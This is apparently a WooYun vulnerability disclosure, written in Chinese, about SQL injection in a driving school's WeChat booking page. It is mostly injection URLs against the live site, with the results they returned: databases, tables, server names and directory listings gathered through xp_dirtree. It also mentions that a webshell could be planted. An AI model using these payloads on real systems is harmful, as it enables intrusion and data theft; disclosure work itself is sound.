WooYun.org

今天查询约车时间，可是网页打不开了…3G和WiFi都进不去…只好打开微信试试了。
东方时尚微信公众平台支持查询约车记录，点进去是东方时尚自己的服务器，习惯性地在Safari中打开，
http://m.dfss.com.cn/dfssclient/DatingCarSearch.aspx?fchrWeiXinName=XX微信IDXX
随手加了一个'进去，居然报错了，显错模式害人不浅e.e
Microsoft .NET Framework Version:4.0.30319; ASP.NET Version:4.0.30319.1
ASP.NET+MSSQL

开笔记本继续~
http://m.dfss.com.cn/dfssclient/DatingCarSearch.aspx?fchrWeiXinName= XX微信IDXX’ and (select @@version)>0--

and db_name()>0一下，库名是App2，那…App1、App3…嗯。。。
写个脚本从master.dbo.sysdatabases爆下库，库还挺多的
master,tempdb,model,msdb,App2,U8DRP_DataBase,U8DRP_EntData,U8DRP_Template,App3,WebManage,App11,App8,S_Template,club,App6,App9,s2,xygl,gwsjz,template,App7,App0,tjy,Club1,APP5
再看看路径
and (select filename from master.dbo.sysdatabases where name='App2')>0--

嗯。。D:\MSSQL\DATA\App2.mdf库名就是文件名
WEB服务器名
host_name()>0
WIN-9MTU5II07QL
DATA服务器名
and @@servername>0
WIN-6LBHR4IR557
看看权限
and (select IS_SRVROLEMEMBER('sysadmin'))>0--居然…显示正常页面…这…
这么多库..先看当前库App2吧，再做一个脚本爆一下表
User_QueryColumnOrderSub,Commission20130208,PriceAdjustDetail,FeeGCDetail1,AddDrive,EffectiveClassCon,P_ProcessGroup,IncomeAdjust,CRMPriority,ModelObjects,ChainOrg,U_Table7,CarYearCheck,PaymentAdjust,CarStatus,OrderPlan,CSRLogType,LessonType,YunGuanInfo,BOCCardStu,OrderReceipt,Settlement,InvoiceChangeDetail,KMPeriod,ExamReservationMN,ClubLessonType,alert_ItemInvalidDay,SynchoFieldRelation,CostAccount,Area,SynchoFunction,P_ProcessReceipt,TestFee,BitExist,CRMIssueTrack,TransferElement,BuyClassDetail,PutExamTab,DXReceiptCondition,AppNews,PRStyle,CredType,U_Table10,P_Stage,MaintainConfig,EmployeeType,ClubLesson,T_CarScheduler_tep,Theme,Operator,DXWriteoffRelationship,U_Table8,PaymentWriteDetail,TransferFilter,ClubDatingCarPeriod,MaintainPlan,DistributePlan,BackDePayType,ExamSubjectCon,EmployeeChangeDetail,AccountState,BitName,ReleaseCarHis,PayType,DepReg,Compensate,TransferItem,g_ErrorMsg,InvoiceBookin,ReceiptControlDetail,CarMaintainType,CerType,TimodePrice,CRMIssueTrackHis,ItemAssemble,P_StageType,DXReceiptConditionDetail,SyncBaseLog,CarSource,DiscountBatch,CRMCustomer,CredRecord,StockReceipt,TransferLog,BackDePurType,Shelf,PriceAdjustTemplate,ExamTimeCon,OnlinePayCom,StockControl,PostTrans,AppLog,BusStopCome,Notice,Knowledge,EmployeeChangeHeader,TransferSource,StockReceiptDetailTmp,CarLampStatus,FeeGCDetail2,FeeBudget,Alert_Report,PostGUI,EmployeeAccount,AdAction,ReleaseCarDetailHis,FeeZZ,AgeScope,ClubMember,TransferTask,QudaoWarehouse,RegNature,Alert,TrigStatus,SupplyType,Truck,EmployeePurchaseGroup
晕= =..还是不看的好
看看D盘文件
建表：
http://m.dfss.com.cn/dfssclient/DatingCarSearch.aspx?fchrWeiXinName=XX微信IDXX';create table tmp5059(paths varchar(100), id int)--
执行：
http://m.dfss.com.cn/dfssclient/DatingCarSearch.aspx?fchrWeiXinName=XX微信IDXX';insert tmp5059 exec master.dbo.xp_dirtree 'c:\'--
查询：
http://m.dfss.com.cn/dfssclient/DatingCarSearch.aspx?fchrWeiXinName=XX微信IDXX' and (select top 1 paths from tmp5059)>0—
用Not就可以查询其他文件
删表：
http://m.dfss.com.cn/dfssclient/DatingCarSearch.aspx?fchrWeiXinName=XX微信IDXX';drop table tmp5059;--
刚才的脚本改改，爆目录
$RECYCLE.BIN,S-1-5-21-764890961-2730693648-2761671943-500,51CTO下载-2008R2-Crack,dfss,club0415,oracle.bali.ewt,MSSQL,RunningProcessQuery,DATA,1.5.2,nagios,scripts,3.4.38.0.0,lib,oracle,product,10.2.0,resources,client_2,assistants,jlib,BIN,cdata,oracle.bali.help,localhost'差不多是这个了,cfgtoollogs,cfgfw,netca,oui,4.2.6.1.0,SpawnQueries,classes,oracle.bali.ice,sysman,emSDK,5.2.3.6.0,oracle.bali.jewt,4.2.33.0.0,oracle.bali.jle,client,2.0.3.0.0,oracle.bali.jle3,3.0.1.0.0,oracle.bali.kodiak,consoleIntegration,images,1.2.1.0.0I,1.1.4,unixQueries,help,detailpanels,detailpanels_de,VARRAY,Socket,detailpanels_es,oracle.bali.regexp,detailpanels_fr,2.1.9.0.0,Storable,oracle.bali.share,detailpanels_it,10.1.0.2.0,w32RegQueries,1.1.18.0.0,10.2.0.0.0,detailpanels_ja,oracle.buildtools.common,detailpanels_ko,detailpanels_zh_CN,WindowsGeneralQueries,CPP,Templates,detailpanels_zh_TW,epc_de,INCLUDE,epc_es,epc_fr,10.2.0.1.0,javavm,install,oracle.buildtools.rsf
Cmd有权限执行、数据库里写一句话木马，差异到web目录、不弄了，东方时尚的库里面数据挺敏感的，怕被查水表，不继续下去了，那么多库里面应该有很多好东西吧~哈哈，不过还是不动的好。另外除了这个看约车记录的，还有其他几个从微信进入的页面都存在此漏洞，只要在传过去的微信ID后面接’就能看到的。
PC端上次好像看到某人进去了，早就修复了吧。移动端出事成了马奇诺防线了。
折腾N久，望给多给点rank哈~
再次感谢东方时尚驾校、教练们都很负责~(我真的不是托= =#)